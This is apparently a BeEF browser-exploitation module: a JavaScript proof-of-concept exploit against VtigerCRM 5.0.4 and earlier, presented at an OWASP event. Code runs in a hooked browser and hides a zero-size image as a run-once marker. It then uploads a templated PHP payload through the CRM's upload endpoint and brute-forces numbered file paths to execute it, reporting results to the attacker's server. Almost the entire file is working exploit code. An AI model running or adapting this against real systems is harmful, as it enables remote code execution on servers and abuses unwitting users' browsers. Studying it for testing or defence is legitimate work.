//
//   Copyright 2012 Wade Alcorn wade@bindshell.net
//
//   Licensed under the Apache License, Version 2.0 (the "License");
//   you may not use this file except in compliance with the License.
//   You may obtain a copy of the License at
//
//       http://www.apache.org/licenses/LICENSE-2.0
//
//   Unless required by applicable law or agreed to in writing, software
//   distributed under the License is distributed on an "AS IS" BASIS,
//   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
//   See the License for the specific language governing permissions and
//   limitations under the License.
//
// VtigerCRM <= 5.0.4 "chained exploitation" PoC 
// Hacked up for OWASP New Zealand Day, July 13th 2009
//
// Thanks for the BeEF Wade :) 

// Ported to Ruby BeEF by xntrik 2010

beef.execute(function() {

	//Doing the same trick I used in detect_tor to ensure exploit runs once
	// xntrik

	if (document.getElementById('vtigerimg')) {
		//document.body.removeChild(document.getElementById('vtigerimg'));
		//beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=There was a stagnant vtiger ID. Aborted!');	
		return "Exploit running already";
	}

	var img = new Image();
	img.setAttribute("style","visibility:hidden");
	img.setAttribute("width","0");
	img.setAttribute("height","0");
	img.id = 'vtigerimg';

	document.body.appendChild(img);

	baseurl = "<%= @vtiger_url %>";

	function get_ajax() {
		var http_request;
	    // use the ActiveX control for IE5.x and IE6
	    try {
	        http_request = new ActiveXObject("MSXML2.XMLHTTP");
	    } catch (othermicrosoft){
	        try {
	            http_request = new ActiveXObject("Microsoft.XMLHTTP");
	        } catch (native) {
	            // If IE7, Mozilla, Safari, etc: Use native object
	            http_request = new XMLHttpRequest();
	        }
	    }
	    return http_request;
	}

	function do_upload(){ 
		setTimeout(function() {ajax_upload()}, 1000);
	}

	// In a nutshell: 
	// 
	// 1) build url 
	// 2) construct the request object
	// 3) POST the form 
	// 4) once requestdone, call do_callfile()

	function ajax_upload(){ 
		var targeturl = baseurl + '/index.php?module=uploads&action=add2db&return_module=Home&return_action=index';

	    var http_request;
	    
	    http_request = false;
	    http_request = get_ajax();

		if (!http_request) {
			// fail silently!
			return false;
		}

		//prepare the POST 
		var boundaryString = 'PWNED';
		var boundary = '-----------------------------PWNED';
		var requestbody =
		boundary + '\r\n'
		+ 'Content-Disposition: form-data; name="MAX_FILE_SIZE"' + '\r\n' 
		+ '\r\n' 
		+ 3000000 + '\r\n'
		+ boundary
		+ '\r\n'
		+ 'Content-Disposition: form-data; name="return_module"' + '\r\n' 
		+ '\r\n'
		+ '\r\n'
		+ boundary
		+ '\r\n'
		+ 'Content-Disposition: form-data; name="return_action"' + '\r\n' 
		+ '\r\n'
		+ '\r\n'
		+ boundary
		+ '\r\n'
		+ 'Content-Disposition: form-data; name="return_id"' + '\r\n' 
		+ '\r\n'
		+ '\r\n' 
		+ boundary
		+ '\r\n'
		+ 'Content-Disposition: form-data; name="uploadsubject"' + '\r\n' 
		+ '\r\n' 
		+ '\r\n' 
		+ boundary
		+ '\r\n'
		+ 'Content-Disposition: form-data; name="filename"; filename="<%= @mal_filename %>.<%= @mal_ext %>"' + '\r\n' 
		+ 'Content-Type: application/x-httpd-php' + '\r\n' 
		+ '\r\n'
		+ '<%= @vtiger_php %>' + '\r\n'
		+ '\r\n'
		+ boundary
		+ '\r\n'                                   
		+ 'Content-Disposition: form-data; name="filename_hidden"' + '\r\n'
		+ '\r\n' 
		+ '<%= @mal_filename %>.<%= @mal_ext %>'
		+ '\r\n'
		+ boundary
		+ '\r\n'
		+ 'Content-Disposition: form-data; name="txtDescription"' + '\\r\n' 
		+ '\r\n' 
		+ 'drop it like its hot' + '\r\n' 
		+ boundary 
		+ '\r\n'
		+ 'Content-Disposition: form-data; name="save"' + '\r\n' 
		+ '\r\n' 
		+ 'Attach' + '\r\n' 
		+ boundary;

		var uploadstate = 0;

		http_request.onreadystatechange = function() {
			if (http_request.readyState == 4) {
				if (http_request.status == 200) {
					uploadstate = 3;
				} else {
					uploadstate = 2;
				}
			} else {
				uploadstate = 1;
			}
			return;
		};
		http_request.open("POST", targeturl, true);
		http_request.setRequestHeader("Content-type", "multipart/form-data; boundary=---------------------------PWNED");
		http_request.setRequestHeader("Content-length", requestbody.length);
		http_request.send(requestbody);

		setTimeout(function() {
			if (uploadstate == 0) {
				//something went way wrong
				document.body.removeChild(document.getElementById('vtigerimg'));
				beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Error in file upload');
			} else if (uploadstate == 1) {
				//we never got a response from the server
				document.body.removeChild(document.getElementById('vtigerimg'));
				beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Server did not respond while trying to upload file');
			} else if (uploadstate == 2) {
				//we got a response that was NOT a 200
				document.body.removeChild(document.getElementById('vtigerimg'));
				beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Server gave an invalid response while trying to upload file');
			} else if (uploadstate == 3) {
				//We got a 200, so hopefully the file was uploaded
				//be_graceful();
				do_callfile(0, 1000);
			}
		},<%= @upload_timeout %>);

		return;
	}

	function do_callfile(start, count){
		if (document.getElementById('vtigerimg') == null) {
			return false;
		}

		for (i=start;i<=start+count;i++)
		{
			 var http_request = false;
			 http_request = get_ajax();
			 if (!http_request) {
				 // fail silently!
				return false;
			}

			var findurl = baseurl + "<%= @vtiger_filepath %>" + i + "_<%= @mal_filename %>.<%= @mal_ext %>";
			var requestbody = "birds of a feather flock together";
			
			http_request.open('POST', findurl, false);
			http_request.setRequestHeader("Content-length", requestbody.length);
			http_request.send(requestbody);
			if (http_request.status == 200) {
				document.body.removeChild(document.getElementById('vtigerimg'));
				beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=File Uploaded AND Executed ('+findurl+')');
				return;
			}

		}
		return;
	}

	// Try the upload 
	function do_main(){
		do_upload();
		return;
	}

	// Run the sploit
	do_main();

});
